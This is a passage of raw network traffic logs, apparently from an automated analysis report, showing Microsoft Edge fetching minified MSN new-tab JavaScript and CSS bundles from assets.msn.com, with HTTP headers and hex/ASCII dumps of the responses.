2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 74 2e 63 6f 6e 74 65 6e 74 2c 68 65 61 64 6c 69 6e 65 3a 74 7d 3a 7b 7d 7d 7d 29 2c 65 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 29 3a 22 22 7d 7d 2c 34 38 35 37 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 72 3b 61 2e 64 28 74 2c 7b 45 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 65 2e 41 75 74 6f 44 65 74 65 63 74 4c 6f 63 3d 31 5d 3d 22 41 75 74 6f 44 65 74 65 63 74 4c 6f 63 22 2c 65 5b 65 2e 53 70 65 63 69 66 79 4c 6f 63 3d 32 5d 3d 22 53 70 65 63 69 66 79 4c 6f 63 22 7d 28 72 7c 7c 28 72 3d 7b 7d 29 29 7d 2c 31 39 37 38 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 61 2e 64 28 74 2c 7b 5a 4d 3a 66 75 6e 63 74 69 6f Data Ascii: 00006000t.content,headline:t}:{}}}),e.getMetadataTag()):""}},48578:function(e,t,a){var r;a.d(t,{E:function(){return r}}),function(e){e[e.AutoDetectLoc=1]="AutoDetectLoc",e[e.SpecifyLoc=2]="SpecifyLoc"}(r\|\|(r={}))},19786:function(e,t,a){a.d(t,{ZM:functio
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 77 65 61 74 68 65 72 44 61 74 61 2e 73 75 6d 6d 61 72 79 44 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 75 6d 6d 61 72 79 4c 69 6e 6b 29 7c 7c 28 6e 75 6c 6c 3d 3d 3d 28 61 3d 65 2e 77 65 61 74 68 65 72 44 61 74 61 2e 62 61 63 6b 67 72 6f 75 6e 64 44 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 6c 69 6e 6b 29 7c 7c 65 2e 77 65 61 74 68 65 72 44 61 74 61 2e 6c 69 6e 6b 7d 7d 22 20 74 61 72 67 65 74 3d 24 7b 65 3d 3e 65 2e 74 61 72 67 65 74 7d 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 24 7b 65 3d 3e 7b 76 61 72 20 74 2c 61 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 77 65 61 74 68 65 72 44 61 74 61 2e 73 75 6d 6d 61 72 79 44 61 74 61 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f Data Ascii: weatherData.summaryData)\|\|void 0===t?void 0:t.summaryLink)\|\|(null===(a=e.weatherData.backgroundData)\|\|void 0===a?void 0:a.link)\|\|e.weatherData.link}}" target=${e=>e.target} aria-label="${e=>{var t,a;return(null===(t=e.weatherData.summaryData)\|\|void 0===t?
2024-04-23 21:02:24 UTC	11658	IN	Data Raw: 30 30 30 30 32 44 37 45 0d 0a 29 3b 63 6f 6e 73 74 20 72 3d 5b 22 31 22 2c 22 32 22 2c 22 33 22 2c 22 34 22 2c 22 36 22 2c 22 37 22 2c 22 38 22 2c 22 39 22 2c 22 31 30 22 2c 22 31 33 22 2c 22 31 37 22 2c 22 31 39 22 2c 22 32 30 22 2c 22 32 34 22 2c 22 32 38 22 2c 22 32 39 22 2c 22 33 30 22 2c 22 33 31 22 2c 22 33 32 22 2c 22 33 34 22 2c 22 33 35 22 2c 22 33 37 22 2c 22 34 30 22 2c 22 34 31 22 2c 22 34 32 22 2c 22 34 34 22 2c 22 34 37 22 2c 22 35 31 22 2c 22 38 30 22 2c 22 31 35 22 2c 22 32 35 22 2c 22 32 36 22 2c 22 35 39 22 2c 22 32 32 22 2c 22 32 33 22 2c 22 37 39 22 2c 22 31 31 22 2c 22 36 39 22 2c 22 37 31 22 2c 22 31 34 22 2c 22 32 37 22 2c 22 36 37 22 2c 22 38 31 22 2c 22 37 35 22 2c 22 37 37 22 2c 22 38 33 22 2c 22 38 35 22 2c 22 33 38 22 2c 22 37 Data Ascii: 00002D7E);const r=["1","2","3","4","6","7","8","9","10","13","17","19","20","24","28","29","30","31","32","34","35","37","40","41","42","44","47","51","80","15","25","26","59","22","23","79","11","69","71","14","27","67","81","75","77","83","85","38","7
2024-04-23 21:02:24 UTC	8939	IN	Data Raw: 30 30 30 30 32 32 44 46 0d 0a 5d 7c 7c 22 22 2c 6f 3d 74 7c 7c 60 24 7b 72 2e 71 46 7d 24 7b 72 2e 7a 66 7d 60 3b 72 65 74 75 72 6e 20 69 3f 60 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6d 73 6e 2e 24 7b 6c 2e 6a 47 2e 49 73 43 68 69 6e 61 43 6f 6d 70 6c 69 61 6e 63 65 3f 22 63 6e 22 3a 22 63 6f 6d 22 7d 2f 24 7b 6f 7d 24 7b 69 7d 2e 73 76 67 60 3a 22 22 7d 73 74 61 74 69 63 20 67 65 74 57 65 61 74 68 65 72 47 6c 79 70 68 42 79 53 79 6d 62 6f 6c 28 65 29 7b 63 6f 6e 73 74 20 74 3d 65 26 26 65 2e 74 72 69 6d 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 21 74 7c 7c 74 2e 6c 65 6e 67 74 68 3c 34 29 72 65 74 75 72 6e 22 22 3b 69 66 28 34 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 63 6f 6e 55 72 6c 28 74 Data Ascii: 000022DF]\|\|"",o=t\|\|`${r.qF}${r.zf}`;return i?`https://assets.msn.${l.jG.IsChinaCompliance?"cn":"com"}/${o}${i}.svg`:""}static getWeatherGlyphBySymbol(e){const t=e&&e.trim().toLowerCase();if(!t\|\|t.length<4)return"";if(4==t.length)return this.getIconUrl(t
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49869	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	640	OUT	GET /bundles/v1/edgeChromium/latest/welcomeGreetingLight.879b176ee540781e4e35.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: neepT5pzpMIZOBBglL0PYQ== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC287583B3 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 322781ec-901e-00f2-1cb5-9599ef000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747633,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180170f1 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.180170f1 Vary: Origin
2024-04-23 21:02:24 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 65 6c 63 6f 6d 65 47 72 65 65 74 69 6e 67 4c 69 67 68 74 22 5d 2c 7b 34 34 32 33 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 54 6f 6f 6c 69 6e 67 49 6e 66 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 65 7d 2c 57 65 6c 63 6f 6d 65 47 72 65 65 74 69 6e 67 4c 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["welcomeGreetingLight"],{44236:function(e,t,i){i.r(t),i.d(t,{ToolingInfo:function(){return Fe},WelcomeGreetingLight:function(){retu
2024-04-23 21:02:24 UTC	9395	IN	Data Raw: 6e 67 73 2e 63 6c 69 63 6b 54 6f 53 65 65 4d 6f 72 65 53 74 72 69 6e 67 7d 60 7d 61 73 79 6e 63 20 6c 6f 61 64 57 65 61 74 68 65 72 43 6f 61 63 68 4d 61 72 6b 43 6f 6d 70 6f 6e 65 6e 74 28 29 7b 69 66 28 28 28 65 3d 74 68 69 73 2e 63 6f 6e 66 69 67 29 2e 6e 74 70 42 61 6e 6e 65 72 7c 7c 65 2e 6e 74 70 43 6f 61 63 68 4d 61 72 6b 29 26 26 65 2e 75 73 65 4e 75 72 74 75 72 69 6e 67 4d 61 6e 61 67 65 72 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 3b 63 6f 6e 73 74 20 6f 3d 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 3d 3d 3d 28 69 3d 65 2e 70 72 6f 66 69 6c 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 73 69 67 3b 72 65 74 75 72 6e 21 28 21 74 2e 66 6f 72 63 65 54 72 69 67 67 65 72 43 6f 61 63 68 4d 61 72 6b 42 61 6e 6e Data Ascii: ngs.clickToSeeMoreString}`}async loadWeatherCoachMarkComponent(){if(((e=this.config).ntpBanner\|\|e.ntpCoachMark)&&e.useNurturingManager&&function(e,t){var i;const o=null==e\|\|null===(i=e.profile)\|\|void 0===i?void 0:i.sig;return!(!t.forceTriggerCoachMarkBann
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 6e 2d 6c 65 66 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 30 70 78 3b 70 61 64 64 69 6e 67 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 77 65 61 74 68 65 72 2d 74 65 78 74 2d 6c 6f 63 61 74 69 6f 6e 2d 6c 65 66 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 Data Ascii: 00006000n-left{display:flex;align-items:center;white-space:nowrap;font-size:16px;margin-bottom:0px;margin-top:0px;padding-top:0px;padding-bottom:0px;padding-inline-start:0px;padding-inline-end:6px;line-height:24px}.weather-text-location-left{font-size:1
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 76 3a 68 6f 76 65 72 2c 2e 77 65 61 74 68 65 72 2d 61 6c 65 72 74 2d 63 6f 6e 74 65 6e 74 2d 62 69 67 64 69 76 20 64 69 76 3a 61 63 74 69 76 65 2c 2e 77 65 61 74 68 65 72 2d 61 6c 65 72 74 2d 63 6f 6e 74 65 6e 74 2d 62 69 67 64 69 76 20 64 69 76 3a 24 7b 77 2e 62 7d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 77 65 61 74 68 65 72 2d 61 6c 65 72 74 2d 74 69 74 6c 65 2d 62 69 67 64 69 76 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 76 65 72 74 69 63 61 6c 3b 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 2d 63 6c 61 6d 70 3a 32 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: v:hover,.weather-alert-content-bigdiv div:active,.weather-alert-content-bigdiv div:${w.b}{text-decoration:underline;outline:none}.weather-alert-title-bigdiv{display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2;white-space:normal;font-weigh
2024-04-23 21:02:24 UTC	11594	IN	Data Raw: 30 30 30 30 32 44 33 45 0d 0a 34 70 78 20 30 70 78 20 32 34 70 78 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 74 65 78 74 53 74 79 6c 65 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 73 64 2d 61 63 74 69 6f 6e 3a 3a 70 61 72 74 28 63 6f 6e 74 65 6e 74 29 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 32 70 78 7d 2e 73 64 2d 61 63 74 69 6f 6e 2e 77 69 74 68 2d 6c 6f 67 6f 3a 3a 70 61 72 74 28 63 6f 6e 74 65 6e 74 29 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 6c 6f 67 6f 7b 67 72 69 64 2d 63 6f 6c 75 6d 6e 2d 73 74 61 72 74 3a 33 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 65 6e 64 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 Data Ascii: 00002D3E4px 0px 24px;color:var(--textStyle);font-size:14px}.sd-action::part(content){line-height:32px}.sd-action.with-logo::part(content){display:flex;align-items:center}.logo{grid-column-start:3;display:flex;justify-content:end;align-items:center;width
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49870	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	674	OUT	GET /bundles/v1/edgeChromium/latest/libs_social-data-service_dist_service_SocialService_js.6a2e3b2d7b9c8b7b2133.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: Rv4FOUc6HAClQq/p2PmVLA== Last-Modified: Wed, 17 Apr 2024 19:30:50 GMT ETag: 0x8DC5F14E3EF8A5C Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 31cae456-e01e-003d-71fd-9094b4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747649,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017101 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.18017101 Vary: Origin
2024-04-23 21:02:24 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 73 6f 63 69 61 6c 2d 64 61 74 61 2d 73 65 72 76 69 63 65 5f 64 69 73 74 5f 73 65 72 76 69 63 65 5f 53 6f 63 69 61 6c 53 65 72 76 69 63 65 5f 6a 73 22 5d 2c 7b 33 34 33 37 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 64 28 74 2c 7b 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 7d 7d 29 3b 76 61 72 20 6f 3d 6e 28 39 33 35 39 30 29 2c 72 3d 6e Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_social-data-service_dist_service_SocialService_js"],{34375:function(e,t,n){n.d(t,{k:function(){return v}});var o=n(93590),r=n
2024-04-23 21:02:24 UTC	9395	IN	Data Raw: 3b 63 6c 61 73 73 20 56 7b 73 74 61 74 69 63 20 67 65 74 20 75 73 65 43 61 63 68 65 28 29 7b 72 65 74 75 72 6e 20 47 2e 47 71 2e 67 65 74 28 22 5f 5f 53 6f 63 69 61 6c 53 65 72 76 69 63 65 55 73 65 43 61 63 68 65 4b 65 79 5f 5f 22 2c 28 28 29 3d 3e 21 30 29 29 7d 73 74 61 74 69 63 20 73 65 74 20 75 73 65 43 61 63 68 65 28 65 29 7b 47 2e 47 71 2e 73 65 74 28 22 5f 5f 53 6f 63 69 61 6c 53 65 72 76 69 63 65 55 73 65 43 61 63 68 65 4b 65 79 5f 5f 22 2c 65 29 7d 73 74 61 74 69 63 20 67 65 74 20 64 6f 6d 61 69 6e 28 29 7b 72 65 74 75 72 6e 20 47 2e 47 71 2e 67 65 74 28 22 5f 5f 53 6f 63 69 61 6c 53 65 72 76 69 63 65 44 6f 6d 61 69 6e 4b 65 79 5f 5f 22 2c 28 28 29 3d 3e 78 2e 6b 2e 65 78 74 65 72 6e 61 6c 55 72 6c 73 2e 61 70 69 29 29 7d 73 74 61 74 69 63 20 73 Data Ascii: ;class V{static get useCache(){return G.Gq.get("__SocialServiceUseCacheKey__",(()=>!0))}static set useCache(e){G.Gq.set("__SocialServiceUseCacheKey__",e)}static get domain(){return G.Gq.get("__SocialServiceDomainKey__",(()=>x.k.externalUrls.api))}static s
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 73 74 73 6f 75 72 63 65 3a 22 63 6f 6d 6d 75 6e 69 74 79 22 2c 68 61 6e 64 6c 65 72 3a 22 70 75 62 6c 69 73 68 22 2c 69 74 65 6d 49 64 3a 65 2c 74 79 70 65 3a 74 7d 2c 6f 3d 65 3d 3e 7b 61 2e 6c 6f 67 28 7b 2e 2e 2e 6d 2c 6d 65 73 73 61 67 65 3a 22 70 75 62 6c 69 73 68 22 2c 70 62 3a 7b 2e 2e 2e 6d 2e 70 62 2c 75 72 6c 3a 56 2e 65 6e 64 70 6f 69 6e 74 73 2e 6d 73 70 68 50 6f 73 74 2c 6d 65 74 68 6f 64 3a 22 50 55 54 22 2c 63 75 73 74 6f 6d 4d 65 73 73 61 67 65 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 7d 7d 29 7d 3b 74 72 79 7b 63 6f 6e 73 74 20 74 3d 61 77 61 69 74 20 56 2e 50 55 54 28 56 2e 65 6e 64 70 6f 69 6e 74 73 2e 6d 73 70 68 50 6f 73 74 2c 7b 7d 2c 6e 29 3b 72 65 74 75 72 6e 20 32 3d 3d 3d 74 2e 73 74 61 Data Ascii: 00006000stsource:"community",handler:"publish",itemId:e,type:t},o=e=>{a.log({...m,message:"publish",pb:{...m.pb,url:V.endpoints.msphPost,method:"PUT",customMessage:JSON.stringify(e)}})};try{const t=await V.PUT(V.endpoints.msphPost,{},n);return 2===t.sta
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 6c 29 29 7d 29 2c 28 65 3d 3e 7b 65 2e 6a 73 6f 6e 28 29 2e 74 68 65 6e 28 28 65 3d 3e 7b 74 28 65 29 7d 29 29 2e 63 61 74 63 68 28 28 6e 3d 3e 7b 69 2e 6b 2e 6c 6f 67 45 72 72 6f 72 28 22 45 72 72 6f 72 20 67 65 74 74 69 6e 67 20 63 6f 6d 6d 65 6e 74 20 69 6e 66 6f 3a 20 22 2b 65 2e 73 74 61 74 75 73 54 65 78 74 29 2c 74 28 29 7d 29 29 7d 29 29 7d 29 29 7d 73 74 61 74 69 63 20 61 73 79 6e 63 20 64 65 6c 65 74 65 43 6f 6d 6d 65 6e 74 28 65 29 7b 72 65 74 75 72 6e 20 56 2e 44 45 4c 45 54 45 28 56 2e 65 6e 64 70 6f 69 6e 74 73 2e 63 6f 6d 6d 65 6e 74 73 2b 65 2c 7b 7d 29 7d 73 74 61 74 69 63 20 61 73 79 6e 63 20 61 70 70 65 61 6c 43 6f 6d 6d 65 6e 74 28 65 29 7b 72 65 74 75 72 6e 20 56 2e 50 4f 53 54 28 56 2e 65 6e 64 70 6f 69 6e 74 73 2e 63 6f 6d 6d 65 6e Data Ascii: l))}),(e=>{e.json().then((e=>{t(e)})).catch((n=>{i.k.logError("Error getting comment info: "+e.statusText),t()}))}))}))}static async deleteComment(e){return V.DELETE(V.endpoints.comments+e,{})}static async appealComment(e){return V.POST(V.endpoints.commen
2024-04-23 21:02:24 UTC	9293	IN	Data Raw: 30 30 30 30 32 34 34 31 0d 0a 68 28 43 2e 6a 47 2e 55 73 65 72 49 64 2c 22 22 2c 21 31 29 2c 73 3d 7b 7d 3b 5b 2e 2e 2e 69 2c 2e 2e 2e 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6e 29 2e 6d 61 70 28 28 65 3d 3e 28 7b 6b 65 79 3a 65 2c 76 61 6c 75 65 3a 6e 5b 65 5d 7d 29 29 29 2c 2e 2e 2e 5b 2e 2e 2e 72 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 6b 65 79 73 28 29 5d 2e 6d 61 70 28 28 65 3d 3e 28 7b 6b 65 79 3a 65 2c 76 61 6c 75 65 3a 72 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 67 65 74 28 65 29 7d 29 29 29 5d 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 73 5b 65 2e 6b 65 79 5d 3d 65 2e 76 61 6c 75 65 7d 29 29 3b 63 6f 6e 73 74 20 61 3d 72 2e 6f 72 69 67 69 6e 2b 72 2e 70 61 74 68 6e 61 6d 65 3b 72 65 74 75 72 6e 22 47 45 54 22 3d 3d 3d 74 3f 74 68 69 73 2e 47 45 54 Data Ascii: 00002441h(C.jG.UserId,"",!1),s={};[...i,...Object.keys(n).map((e=>({key:e,value:n[e]}))),...[...r.searchParams.keys()].map((e=>({key:e,value:r.searchParams.get(e)})))].forEach((e=>{s[e.key]=e.value}));const a=r.origin+r.pathname;return"GET"===t?this.GET
2024-04-23 21:02:24 UTC	9843	IN	Data Raw: 30 30 30 30 32 36 36 37 0d 0a 69 73 6d 3a 22 50 72 6f 66 69 6c 65 41 63 74 69 76 69 74 79 4d 6f 64 65 72 61 74 69 6f 6e 54 61 6b 65 64 6f 77 6e 52 65 61 73 6f 6e 54 65 72 72 6f 72 69 73 6d 22 2c 70 72 69 76 61 63 79 3a 22 50 72 6f 66 69 6c 65 41 63 74 69 76 69 74 79 4d 6f 64 65 72 61 74 69 6f 6e 54 61 6b 65 64 6f 77 6e 52 65 61 73 6f 6e 50 72 69 76 61 63 79 22 2c 69 6e 61 70 70 72 6f 70 72 69 61 74 65 3a 22 50 72 6f 66 69 6c 65 41 63 74 69 76 69 74 79 4d 6f 64 65 72 61 74 69 6f 6e 54 61 6b 65 64 6f 77 6e 52 65 61 73 6f 6e 49 6e 61 70 70 72 6f 70 72 69 61 74 65 22 2c 22 6f 66 66 2d 74 6f 70 69 63 22 3a 22 50 72 6f 66 69 6c 65 41 63 74 69 76 69 74 79 4d 6f 64 65 72 61 74 69 6f 6e 54 61 6b 65 64 6f 77 6e 52 65 61 73 6f 6e 4f 66 66 54 6f 70 69 63 22 2c 69 6d Data Ascii: 00002667ism:"ProfileActivityModerationTakedownReasonTerrorism",privacy:"ProfileActivityModerationTakedownReasonPrivacy",inappropriate:"ProfileActivityModerationTakedownReasonInappropriate","off-topic":"ProfileActivityModerationTakedownReasonOffTopic",im
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49871	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	640	OUT	GET /bundles/v1/edgeChromium/latest/notification-bell-wc.dd601018956dbb3a4fb7.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: GiU5jH8UU8K4hrKf4vffrA== Last-Modified: Fri, 19 Apr 2024 19:35:50 GMT ETag: 0x8DC60A7EB5CAA54 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: da583ebf-701e-00c0-7490-92eefa000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747652,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017104 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: 